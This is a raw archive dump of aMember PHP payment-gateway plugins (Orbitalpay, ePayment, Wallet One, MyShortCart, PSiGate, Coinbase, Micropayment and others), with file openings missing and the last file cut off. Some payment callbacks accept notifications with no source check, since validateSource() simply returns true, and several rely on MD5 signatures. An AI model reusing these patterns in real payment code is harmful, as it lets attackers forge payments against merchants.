createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ccavenue_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } } class Am_Paysystem_Transaction_Ccavenue_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function validateSource() { $query = $this->plugin->decrypt($this->request->get('encResp')); parse_str($query, $vars); $this->vars = $vars; return is_array($vars); } function findInvoiceId() { return $this->request->get('orderNo'); } public function getUniqId() { return $this->vars["tracking_id"]; } public function validateStatus() { return $this->vars["order_status"] == "Success"; } public function validateTerms() { return doubleval($this->vars["amount"]) == doubleval($this->invoice->first_total); } }PK\payment/orbitalpay-form.phpnu[addText('account_id') ->setLabel('Orbitalpay Account ID') ->addRule('required'); $form->addText('site_tag') ->setLabel("Orbitalpay Site Tag\n" . "create it at your orbitalpay account -> Setup -> Site Tools -> Site tags") ->addRule('required'); $form->addText('crypto_hash') ->setLabel("MD5 crypto-hash\n" . "create it at your orbitalpay account -> Fraud Controls -> Fraud Defense -> Step 12") ->addRule('required'); $form->addAdvCheckbox("debugLog") ->setLabel("Debug Log Enabled\n" . "write all requests/responses to log"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $user = $invoice->getUser(); $post = array( 'Ecom_BillTo_Postal_Name_First' => $user->name_f, 'Ecom_BillTo_Postal_Name_Last' => $user->name_l, 'Ecom_BillTo_Postal_Street_Line1' => $user->street, 'Ecom_BillTo_Postal_Street_Line2' => $user->street2, 'Ecom_BillTo_Postal_City' => $user->city, 'Ecom_BillTo_Postal_StateProv' => $user->state, 'Ecom_BillTo_Postal_PostalCode' => $user->zip, 'Ecom_BillTo_Postal_CountryCode' => $user->country, 'Ecom_BillTo_Online_Email' => $user->email, 'Ecom_ShipTo_Postal_Name_First' => $user->name_f, 'Ecom_ShipTo_Postal_Name_Last' => $user->name_l, 'Ecom_ShipTo_Postal_City' => $user->city, 'Ecom_ShipTo_Postal_Street_Line1' => $user->street, 'Ecom_ShipTo_Postal_Street_Line2' => $user->street2, 'Ecom_ShipTo_Postal_StateProv' => $user->state, 'Ecom_ShipTo_Postal_PostalCode' => $user->zip, 'Ecom_ShipTo_Postal_CountryCode' => $user->country, 'Ecom_ShipTo_Online_Email' => $user->email, 'Ecom_Ezic_AccountAndSitetag' => $this->getConfig('account_id') . ":" . $this->getConfig('site_tag'), 'Ecom_Cost_Total' => sprintf("%.2f",$invoice->first_total), 'Ecom_Receipt_Description' => $invoice->getLineDescription(), 'Ecom_Ezic_Security_HashFields' => self::Hash_Fields, 'Ecom_Ezic_Payment_AuthorizationType' => 'SALE', 'Ecom_ConsumerOrderID' => $invoice->public_id, ); $hash = $this->getConfig('crypto_hash'); foreach (explode(' ', self::Hash_Fields) as $field) $hash .= $post[$field]; $post['Ecom_Ezic_Security_HashValue_MD5'] = strtoupper(md5($hash)); if ($this->getConfig('debugLog')) Am_Di::getInstance()->errorLogTable->log('Orbitalpay Form [request-data]:' . json_encode($post)); foreach ($post as $key => $value) $a->$key = $value; $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'thanks') { if ($this->getConfig('debugLog')) Am_Di::getInstance()->errorLogTable->log('Orbitalpay Form [response-thanks]:' . json_encode($request->getParams())); if($this->invoice = $this->getDi()->invoiceTable->findFirstByPublicId($request->getFiltered('Ecom_ConsumerOrderID'))) $url = ($request->get('Ecom_Ezic_Response_StatusCode') == 0 || $request->get('Ecom_Ezic_Response_StatusCode') == 'F') ? $this->getCancelUrl() : $this->getReturnUrl(); else $url = $this->getRootUrl() . "/thanks"; $response->setRedirect($url); }else parent::directAction($request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_OrbitalpayForm($this, $request, $response, $invokeArgs); } public function getReadme() { $thanks = $this->getPluginUrl('thanks'); $ipn = $this->getPluginUrl('ipn'); return << Configuration -> Setup/Configuration -> Plugins -> Payment Plugins' and enable "orbitalpay-form" plugin. 2. Configure plugin: go to 'aMember CP -> Configuration -> Setup/Configuration -> Orbitalpay Form' and configure it. 3. Configure your Orbitalpay Account: - go to your Orbitalpay Account -> Setup -> Site Tools -> Site tags - find your just created tag and click 'conf' link - enter at 'Return URL': $thanks - enter at 'Postback CGI URL': $ipn CUT; } } class Am_Paysystem_Transaction_OrbitalpayForm extends Am_Paysystem_Transaction_Incoming { public function process() { if ($this->plugin->getConfig('debugLog')) Am_Di::getInstance()->errorLogTable->log('Orbitalpay Form [response-ipn]:' . json_encode($this->request->getParams())); parent::process(); } public function validateSource() { $hashFields = explode(' ', Am_Paysystem_OrbitalpayForm::Hash_Fields); $hash = $this->plugin->getConfig('crypto_hash') . $this->request->getFiltered('Ecom_Ezic_Response_TransactionID') . $this->request->getFiltered('Ecom_Ezic_Response_StatusCode'); foreach ($hashFields as $v) $hash .= $this->request->get($v); return (strtoupper(md5($hash)) == $this->request->getFiltered('Ecom_Ezic_ProofOfPurchase_MD5')); } public function findInvoiceId() { return $this->request->getFiltered('Ecom_ConsumerOrderID'); } public function validateStatus() { switch ($this->request->getFiltered('Ecom_Ezic_TransactionStatus')) { case 0: case 'F': return false; } return true; } public function getUniqId() { return $this->request->getFiltered('Ecom_Ezic_Response_TransactionID'); } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('Ecom_Cost_Total')); return true; } }PK\jOpayment/epayment.phpnu[addText("merchant") ->setLabel("Your merchant identifier\n" . 'received from ePayment'); $form->addText("secret") ->setLabel("Secret Key\n" . 'received from ePayment'); $form->addAdvCheckbox("testing") ->setLabel("Testing\n" . 'enable/disable testmode'); $form->addSelect("language", array(), array('options' => array( 'ro' => 'Romanian', 'en' => 'English', 'fr' => 'French', 'it' => 'Italian', 'de' => 'German', 'es' => 'Spanish' )))->setLabel('Site Language'); } function calculateHash($vars){ $hash_src = ''; foreach($vars as $k=>$v){ if(is_array($v)){ foreach($v as $vv){ $hash_src .= strlen(htmlentities($vv)).htmlentities($vv); } }else $hash_src .= strlen(htmlentities($v)).htmlentities($v); } return hash_hmac('md5', $hash_src, $this->getConfig('secret')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Form(self::URL); $vars = array( 'MERCHANT' => $this->getConfig('merchant'), 'ORDER_REF' => $invoice->public_id, 'ORDER_DATE' => $invoice->tm_added ); foreach($invoice->getItems() as $item){ $vars['ORDER_PNAME[]'] = $item->item_title; $vars['ORDER_PCODE[]'] = $item->item_id; $vars['ORDER_PRICE[]'] = $item->first_price; $vars['ORDER_QTY[]'] = $item->qty; $vars['ORDER_VAT[]'] = $item->first_tax; } $vars['ORDER_SHIPPING'] = 0; $vars['PRICES_CURRENCY'] = strtoupper($invoice->currency); $vars['DISCOUNT'] = $invoice->first_discount; foreach($vars as $k=>$v){ $a->__set($k,$v); } $a->__set('ORDER_HASH', $this->calculateHash($vars)); $a->__set('BILL_FNAME', $invoice->getFirstName()); $a->__set('BILL_LNAME', $invoice->getLastName()); $a->__set('BILL_EMAIL', $invoice->getEmail()); $a->__set('BILL_PHONE', $invoice->getPhone()); $a->__set('BILL_ADDRESS', $invoice->getStreet()); $a->__set('BILL_ZIPCODE', $invoice->getZip()); $a->__set('BILL_CITY', $invoice->getCity()); $a->__set('BILL_STATE', $invoice->getState()); $a->__set('BILL_COUNTRYCODE', $invoice->getCountry()); $a->__set('LANGUAGE', $this->getConfig('language', 'ro')); if($this->getConfig('testing')) $a->__set('TESTORDER', 'TRUE'); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Epayment($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('RON', 'EUR', 'USD'); } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { parent::directAction($request, $response, $invokeArgs); $post = $request->getPost(); $date = date('YmdGis'); $vars = array($post['IPN_PID'][0], $post['IPN_PNAME'][0], $post['IPN_DATE'], $date); printf('%s|%s', $date, $this->calculateHash($vars)); } function getReadme(){ return <<ePayment plugin configuration Configure IPN url ion your account: %root_surl%/payment/epayment/ipn CUT; } } class Am_Paysystem_Transaction_Epayment extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('REFNOEXT'); } public function getUniqId() { return $this->request->get('REFNO'); } public function validateSource() { $post = $this->request->getPost(); $hash = $post['HASH']; unset($post['HASH']); $calc = $this->getPlugin()->calculateHash($post); if($calc != $hash){ throw new Am_Exception_Paysystem_TransactionSource(sprintf('Calculated hash is not equal to received.(%s!=%s)', $calc, $hash)); } return true; } public function validateStatus() { if(!$this->getPlugin()->getConfig('testing') && ($this->request->get('ORDERSTATUS') == 'TEST')) throw new Am_Exception_Paysystem_TransactionInvalid('Test transaction received, but test mode is not enabled'); if($this->request->get('ORDERSTATUS') == '-') throw new Am_Exception_Paysystem_TransactionInvalid('Transaction is not finished yet. ORDERSTATUS='.$this->request->get('ORDERSTATUS')); return true; } public function validateTerms() { return true; } }PK\b_$_$payment/walletone.phpnu[ 398, // Kazakhstani tenge 'RUB' => 643, // Russian Rubles 'ZAR' => 710, // South African Rand 'USD' => 840, // US Dollar 'UAH' => 980, // Ukrainian Hryvnia ); protected $defaultTitle = 'Wallet One'; protected $defaultDescription = 'quick and easy payments with mobile phone or computer'; public function supportsCancelPage() { return true; } public function _initSetupForm(Am_Form_Setup $form) { $form->addInteger('merchantId', array('maxlength' => 20, 'size' => 15)) ->setLabel('Your WMI Merchant ID#') ->addRule('required'); $form->addSelect('signature') ->setLabel('Signature Method') ->loadOptions(array( '' => 'None', 'md5' => 'MD5', 'sha1' => 'SHA1', )); $form->addText('key', array('size' => 40)) ->setLabel('Secret Key') ->addRule('callback2', 'error', array($this, 'validateSecretKey')); $form->addScript()->setScript(<<getContainer()->getDataSources(); return ( ($sign = $request[0]->getParam('payment.walletone.signature')) && !$key) ? 'Secret Key must not be empty, if Signature Method is ' . strtoupper($sign) : null; } public function isConfigured() { return $this->getConfig('merchantId') > ''; } public function getSupportedCurrencies() { return array_keys(self::$currencies); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $fields = array(); $fields["WMI_MERCHANT_ID"] = $this->getConfig('merchantId'); $fields["WMI_PAYMENT_AMOUNT"] = $invoice->first_total; $fields["WMI_CURRENCY_ID"] = $this->getCurrencyId($invoice->currency); $fields["WMI_PAYMENT_NO"] = $invoice->public_id; $fields["WMI_DESCRIPTION"] = "BASE64:".base64_encode($invoice->getLineDescription()); $fields["WMI_SUCCESS_URL"] = $this->getReturnUrl(); $fields["WMI_FAIL_URL"] = $this->getCancelUrl(); foreach ($fields as $name => $val) { if (is_array($val)) { usort($val, "strcasecmp"); $fields[$name] = $val; } } uksort($fields, "strcasecmp"); $fieldValues = ""; foreach ($fields as $value) { if (is_array($value)) foreach ($value as $v) { // $v = iconv("utf-8", "windows-1251", $v); $fieldValues .= $v; } else { // $value = iconv("utf-8", "windows-1251", $value); $fieldValues .= $value; } } if ($sign = $this->getConfig('signature')) $fields["WMI_SIGNATURE"] = base64_encode(pack("H*", $sign($fieldValues . $this->getConfig('key')))); $a = new Am_Paysystem_Action_Redirect(self::URL_PAY); foreach($fields as $key => $val) $a->$key = $val; $result->setAction($a); } private function getCurrencyId($currency) { return self::$currencies[$currency]; } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Walletone($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Walletone($this, $request, $response, $invokeArgs); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'ipn') { $invoiceLog = $this->_logDirectAction($request, $response, $invokeArgs); $transaction = $this->createTransaction($request, $response, $invokeArgs); $transaction->setInvoiceLog($invoiceLog); try { $transaction->process(); } catch (Am_Exception_Paysystem_TransactionAlreadyHandled $e) { $transaction->printAnswer("Ok", "Order #" . $transaction->findInvoiceId() . " is paid!"); } catch (Exception $e) { if ($invoiceLog) $invoiceLog->add($e); $this->getDi()->errorLogTable->logException($e); return; } if ($invoiceLog) $invoiceLog->setProcessed(); return; } else parent::directAction($request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { return <<Wallet One payment plugin configuration 1. Log in your account at https://www.walletone.com/client/ 2. At 'Settings -> Profile -> Personal details' copy your 'Account' and paste in field 'Your WMI Merchant ID#' at 'aMember CP -> Setup/Configuration -> Wallet One' (this page) 3. At 'Settings -> E-commerce -> Internet market': -'State' -> 'On' -'Title' on your choice -'Site URL' url your site -'Result URL' -> '{$this->getPluginUrl('ipn')}'. 4. At 'Settings -> E-commerce -> Digital signature' choose 'Signature method'. If it isn't 'None' generate 'Secret key', copy it and click 'Save' button. 5. At 'aMember CP -> Setup/Configuration -> Wallet One' (this page) choose 'Signature Method' the same as on previous step. If it isn't 'None' paste 'Secret key' in field 'Secret Key'. 6. At 'aMember CP -> Setup/Configuration -> Wallet One' (this page) click 'Save' button CUT; } } class Am_Paysystem_Transaction_Walletone extends Am_Paysystem_Transaction_Incoming { public function printAnswer($result, $description) { print "WMI_RESULT=" . strtoupper($result) . "&"; print "WMI_DESCRIPTION=" . urlencode($description); if ($result != 'Ok') { Am_Di::getInstance()->errorLogTable->log('Error when paying by wallet one: ' . $description); } } public function process() { $vars = $this->request->getPost(); if (($sign = $this->plugin->getConfig('signature')) && !isset($vars["WMI_SIGNATURE"])) { $this->printAnswer("Retry", "Parameter WMI_SIGNATURE is absent."); return; } if (!isset($vars["WMI_PAYMENT_NO"])) { $this->printAnswer("Retry", "Parameter WMI_PAYMENT_NO is absent."); return; } if (!isset($vars["WMI_ORDER_STATE"])) { $this->printAnswer("Retry", "Parameter WMI_ORDER_STATE is absent."); return; } $params = array(); foreach ($vars as $key => $value) if ($key !== "WMI_SIGNATURE") $params[$key] = $value; ksort($params, SORT_STRING); $values = ""; foreach ($params as $value) { $values .= $value; } $signature = base64_encode(pack("H*", $sign($values . $this->plugin->getConfig('key')))); if ($signature != $vars["WMI_SIGNATURE"]) { $this->printAnswer("Retry", "Wrong digital signature " . $vars["WMI_SIGNATURE"]); return; } if (strtoupper($this->request->get("WMI_ORDER_STATE")) != "ACCEPTED") { $this->printAnswer("Retry", "Unknown order status " . $vars["WMI_ORDER_STATE"]); return; } parent::process(); $this->printAnswer("Ok", "Order #" . $this->request->get("WMI_PAYMENT_NO") . " is paid!"); } public function validateSource() { return true; } public function findInvoiceId() { return $this->request->get("WMI_PAYMENT_NO"); } public function validateStatus() { return true; } public function getUniqId() { return $this->request->get("WMI_ORDER_ID"); } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get("WMI_PAYMENT_AMOUNT")); return true; } } PK\ac]'payment/myshortcart/myshortcartbase.phpnu[addText('store_id') ->setLabel('Your Store ID') ->addRule('required'); $form->addText('shared_key') ->setLabel("Your Shared Key") ->addRule('required'); } protected abstract function getPaymentMethod(); public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('IDR'); } public function isConfigured() { return (bool)($this->getConfig('store_id') && $this->getConfig('shared_key')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $basket = array(); foreach ($invoice->getItems() as $item) { $basket[] = $item->item_title . "," . $item->first_price . "," . $item->qty . "," . $item->first_total; } $vars = array( 'BASKET' => implode(";", $basket), 'TRANSIDMERCHANT' => $invoice->public_id, 'STOREID' => $this->getConfig('store_id'), 'AMOUNT' => $invoice->first_total, 'URL' => ROOT_SURL, 'CNAME' => $user->getName(), 'CEMAIL' => $user->email, 'CWPHONE' => $user->phone ? $user->phone : 0, 'CHPHONE' => $user->phone ? $user->phone : 0, 'CMPHONE' => $user->phone ? $user->phone : 0, 'WORDS' => sha1($invoice->first_total . $this->getConfig('shared_key') . $invoice->public_id), 'PAYMENTMETHODID' => $this->getPaymentMethod() ); $this->logRequest($vars); $action = new Am_Paysystem_Action_Form(self::URL); foreach ($vars as $key => $value) { $action->$key = $value; } $result->setAction($action); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { $this->invoice = $this->getDi()->invoiceTable->findFirstByPublicId($request->getFiltered('TRANSIDMERCHANT')); $invoiceLog = $this->_logDirectAction($request, $response, $invokeArgs); switch ($request->getActionName()) { case 'verify': if(!in_array($request->getClientIp(), self::$IPs)) { $invoiceLog->add( new Am_Exception_Paysystem("Uknown IP[{$request->getClientIp()}], allowed[". implode(',', self::$IPs)."]") ); echo "Stop"; return; } if($this->getConfig('store_id') != $request->getFiltered('STOREID')) { $invoiceLog->add( new Am_Exception_Paysystem("Wrong STOREID: got[{$request->get('STOREID')}], expected[{$this->getConfig('store_id')}]") ); echo "Stop"; return; } if(!$this->invoice) { $invoiceLog->add( new Am_Exception_Paysystem("Invoice [{$request->getFiltered('TRANSIDMERCHANT')}] not found") ); echo "Stop"; return; } if($this->invoice->first_total != $request->get('AMOUNT')) { $invoiceLog->add( new Am_Exception_Paysystem("Wrong AMOUNT: got[{$request->get('AMOUNT')}], expected[{$this->invoice->first_total}]") ); echo "Stop"; return; } $hash = sha1($request->get('AMOUNT') . $this->getConfig('shared_key') . $request->getFiltered('TRANSIDMERCHANT')); if($hash != $request->getFiltered('WORDS')) { $invoiceLog->add( new Am_Exception_Paysystem("Wrong WORDS: got[{$request->get('WORDS')}], expected[{$hash}]") ); echo "Stop"; return; } echo "Continue"; return; case 'ipn': try { $transaction = $this->createTransaction($request, $response, $invokeArgs); if (!$transaction) { throw new Am_Exception_InputError("Request not handled - createTransaction() returned null"); } $transaction->setInvoiceLog($invoiceLog); try { $transaction->process(); } catch (Exception $e) { if ($invoiceLog) $invoiceLog->add($e); throw $e; } if ($invoiceLog) $invoiceLog->setProcessed(); echo "Continue"; } catch (Exception $e) { echo "Stop"; } return; case 'redirect': if($this->invoice) { $response->redirectLocation($this->getReturnUrl()); } throw new Am_Exception_InputError("Invoice not found"); case 'cancel': if($this->invoice) { $response->redirectLocation($this->getCancelUrl()); } throw new Am_Exception_InputError("Invoice not found"); } } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Myshortcart($this, $request, $response, $invokeArgs); } public function getReadme() { $verify = $this->getPluginUrl('verify'); $notify = $this->getPluginUrl('ipn'); $redirect = $this->getPluginUrl('redirect'); $cancel = $this->getPluginUrl('cancel'); return <<Myshopcart plugin installation - Add at signup form 'Phone' field and set it as required Go to your merchant account -> Website and set these URLs: - Set at your merchant account VERIFY URL - $verify - Set at your merchant account NOTIFY URL - $notify - Set at your merchant account REDIRECT URL - $redirect - Set at your merchant account CANCEL URL - $cancel For testing use: SUCCESS Card Number: 5426400030108754 CVV2: 869 Exp Date 2016 month = April FAIL 4512490020005811=05 CVV2: 166 Exp Date 2016 month = April CUT; } } PK\<0to#payment/myshortcart/transaction.phpnu[request->getFiltered("TRANSIDMERCHANT"); } public function validateSource() { $this->_checkIp(Am_Paysystem_Myshortcart::$IPs); return true; } public function validateStatus() { return $this->request->getFiltered('RESULT') == "Success"; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->request->get('AMOUNT')); return true; } } PK\~#payment/myshortcart/myshortcart.phpnu[getId(); $form->addText("storekey")->setLabel('StoreKey'); $form->addAdvCheckbox("testing")->setLabel("Test Mode Enabled"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL); $result->setAction($a); $a->StoreKey = $this->getConfig('storekey'); $a->CustomerRefNo = $invoice->public_id; $a->PaymentType = ''; $a->CardAction = '0'; $a->OrderID = $invoice->invoice_id; $a->UserID = $invoice->getLogin(); $a->Email = $invoice->getEmail(); $a->CustomerIP = $user->remote_addr ? $user->remote_addr : $_SERVER['REMOTE_ADDR']; $a->Bname = $invoice->getFirstName().' '.$invoice->getLastName(); $a->Baddress1 = $user->street; $a->Bcity = $user->city; $a->Bpostalcode = $user->zip; $a->Bcountry = $user->country; $a->Sname = $invoice->getFirstName().' '.$invoice->getLastName(); $a->Saddress1 = $user->street; $a->Scity = $user->city; $a->Spostalcode = $user->zip; $a->Scountry = $user->country; $a->SubTotal = $invoice->first_total - $invoice->first_tax; $a->Tax1 = $invoice->first_tax; $a->ThanksURL = $this->getPluginUrl("thanks"); $result->setAction($a); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Psigate($this, $request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } } class Am_Paysystem_Transaction_Psigate extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('TransRefNumber'); } public function findInvoiceId() { return $this->request->getFiltered('CustomerRefNo'); } public function validateSource() { return true; } public function validateStatus() { return ($this->request->getFiltered('Approved')=='APPROVED' || $this->request->getFiltered('Approval')=='Successful'); } public function validateTerms() { return true; // terms are signed in the form, no need to validate again } public function getInvoice() { return $this->invoice; } }PK\$Cppayment/coinbase.phpnu[addText(self::API_KEY, array('class' => 'el-wide')) ->setLabel("API KEY\n" . 'Get it from your coinbase account'); $form->addPassword(self::API_SECRET, array('class' => 'el-wide')) ->setLabel("API SECRET\n" . 'Get it from your coinbase account'); } public function getSupportedCurrencies() { return array('USD', 'BTC'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $vars = array( 'button[name]' => $invoice->getLineDescription(), 'button[price_string]' => $invoice->first_total, 'button[price_currency_iso]' => $invoice->currency, 'button[type]' => 'buy_now', 'button[custom]' => $invoice->public_id, 'button[callback_url]' => $this->getPluginUrl('ipn'), 'button[success_url]' => $this->getReturnUrl(), 'button[cancel_url]' => $this->getCancelUrl(), 'button[variable_price]' => false, 'button[choose_price]' => false ); try{ // Get code from API $r = new Am_Request_Coinbase($this->getConfig(self::API_KEY),$this->getConfig(self::API_SECRET)); $resp = $r->post('buttons', $vars); if(!($code = @$resp->button->code)) throw new Am_Exception_InternalError("Coinbase: Can't create button. Got:". print_r($resp, true)); }catch(Exception $e){ $this->getDi()->errorLogTable->logException($e); throw $e; } $a = new Am_Paysystem_Action_Redirect(self::CHECKOUT_URL . '/'.$code); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Coinbase($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function getReadme() { return <<getRawBody(); $ret = @json_decode($str); if(!$ret) throw new Am_Exception_InternalError("Coinbase: Can't decode postback: ".$ret); $this->order = @$ret->order; } public function getUniqId() { return @$this->order->id; } public function validateSource() { return true; } public function validateStatus() { return (@$this->order->status == "completed" ? true : false); } public function validateTerms() { return doubleval(@$this->order->total_native->cents/(@$this->order->total_native->currency_iso == 'USD' ? 100 : 100000000)) == doubleval($this->invoice->first_total); } public function findInvoiceId() { return @$this->order->custom; } } class Am_Request_Coinbase { const API_URL = 'https://coinbase.com/api/v1'; /** * @var Am_HttpRequest */ protected $_request; protected $_key; protected $_secret; function __construct($api_key, $api_secret) { $this->_key = $api_key; $this->_secret = $api_secret; $this->_createRequest(); } protected function _createRequest(){ $this->_request = new Am_HttpRequest(); } protected function _request($function, $method, $params=null) { $this->_request->setUrl(self::API_URL . '/'.$function); $nonce = sprintf('%0.0f',round(microtime(true) * 1000000)); $data = $nonce . self::API_URL . '/' . $function . http_build_query($params); $this->_request->setHeader(array( 'ACCESS_KEY' => $this->_key, 'ACCESS_SIGNATURE' => hash_hmac('sha256', $data, $this->_secret), 'ACCESS_NONCE' => $nonce)); $this->_request->setMethod($method); if(!empty($params)) $this->_request->addPostParameter($params); $resp = $this->_request->send(); if($resp->getStatus() != 200) throw new Am_Exception_InternalError('CoinBase: Status for API request was not 200. Got: '.$resp->getStatus()); $data = json_decode($resp->getBody()); if(is_null($data)) throw new Am_Exception_InternalError('CoinBase: Unable to decode response. Got: '.$resp); if(!@$data->success) throw new Am_Exception_InternalError('CoinBase: Not successfull response.Got: '.print_r($data, true)); return $data; } public function post($function, $params) { return $this->_request($function, Am_HttpRequest::METHOD_POST, $params); } public function get($function) { return $this->_request($function, Am_HttpRequest::METHOD_GET); } }PK\j7payment/micropayment/scripts/micropayment-confirm.phtmlnu[setLayout('layout.phtml'); ?>

    methods as $k => $v) { $checked = ''; if($this->url == $k) $checked = ' checked="checked" '; echo "
    "; } ?>
    PK\Iq%payment/micropayment/micropayment.phpnu[addText("key") ->setLabel("Access Key\n" . 'You\'ll find your AccessKey in ControlCenter --> My Configuration'); $form->addText("project")->setLabel('Project Identifier'); $form->addAdvCheckbox("testing")->setLabel("Test Mode Enabled"); $form->addMagicSelect("methods") ->setLabel("Available methods\n". "if none is selected then all methods will be listed") ->loadOptions(array( 'prepay'=>$this->defaultPrepayDescription, 'lastschrift'=>$this->defaultLastschriftDescription)); $form->addText("prepay.title")->setLabel("Prepay method title\n" . $this->defaultPrepayDescription); $form->setDefault('prepay.title', $this->defaultPrepayDescription); $form->addText("lastschrift.title")->setLabel("Lastschrift method title\n" . $this->defaultLastschriftDescription); $form->setDefault('lastschrift.title', $this->defaultLastschriftDescription); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $m = $this->getConfig('methods'); if(@count($m)==1) $a = new Am_Paysystem_Action_Form(self::URL.$m[0].'/event/'); else { $a = new Am_Paysystem_Action_HtmlTemplate_Micropayment($this->getDir(), 'micropayment-confirm.phtml'); $methods = array(); if(@count($m)) { $a->url = self::URL.$m[0].'/event/'; foreach($m as $title) $methods[self::URL.$title.'/event/'] = $this->getConfig($title.'.title'); } else { foreach($this->getConfig() as $k => $v) { if(is_array($v) && !empty($v['title'])) $methods[self::URL.$k.'/event/'] = $v['title']; } $a->url = array_shift(array_keys($methods)); } $a->methods = $methods; } $a->project = $this->getConfig('project'); $a->amount = $invoice->first_total*100; $a->freepaymentid = $invoice->public_id; $a->seal = md5("project={$a->project}&amount={$a->amount}&freepaymentid={$a->freepaymentid}".$this->getConfig('key')); $result->setAction($a); } public function getReadme() { $ipn = Am_Html::escape($this->getPluginUrl('ipn')); return << My Configuration --> Projects Choose Actions for the product you want to configure Click on Configure Payment Methods For module Prepay and service Event choose Actions Click on Configure Check Activate payment for product and fill in your API-URL $ipn Do the same steps for module debit (Lastschrift) and service Event In your Micropayment Control Center go to My Configuration --> Payment Methods Choose your product and click on Actions for the respective payment method Click on Configure and go to Add GET-Parameters Add freepaymentid on left side and __\$freepaymentid__ on right side Click Save settings CUT; } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { try { parent::directAction($request, $response, $invokeArgs); } catch (Exception $e) { $this->getDi()->errorLogTable->logException($e); $sep = "\n"; $url = $this->getDi()->url('thanks',null,false,2); echo "status=ok{$sep}url=$url{$sep}target=_top{$sep}forward=1"; } } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Micropayment($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } } class Am_Paysystem_Transaction_Micropayment extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('freepaymentid'); } public function getUniqId() { return $this->request->get('auth'); } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->request->get('paystatus')) { case 'PAID': $this->invoice->addPayment($this); break; case 'INIT': break; default: break; } $sep = "\n"; $url = $this->getPlugin()->getDi()->url("thanks",array('id'=>$this->invoice->getSecureId("THANKS")),false,2); echo "status=ok{$sep}url=$url{$sep}target=_top{$sep}forward=1"; } } class Am_Paysystem_Action_HtmlTemplate_Micropayment extends Am_Paysystem_Action_HtmlTemplate { protected $_template; protected $_path; public function __construct($path, $template) { $this->_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } }PK\߰*R*Rpayment/ecsuite.phpnu[getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('ecsuite_product_id', "Ecsuite Product ID", "you must create the same product in Ecsuite for CC billing. Enter pricegroup here")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('ecsuite_subaccount_id', "Ecsuite Subaccount ID", "keep empty to use default value (from config)")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('ecsuite_form_id', "Ecsuite Form ID", "enter Ecsuite Form ID")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldSelect('ecsuite_form_type', "Ecsuite Form Type", "", null, array('options' => array( self::ECSUITE_CC => 'Credit Card', self::ECSUITE_900 => 'Online Check', self::ECSUITE_CHECK => 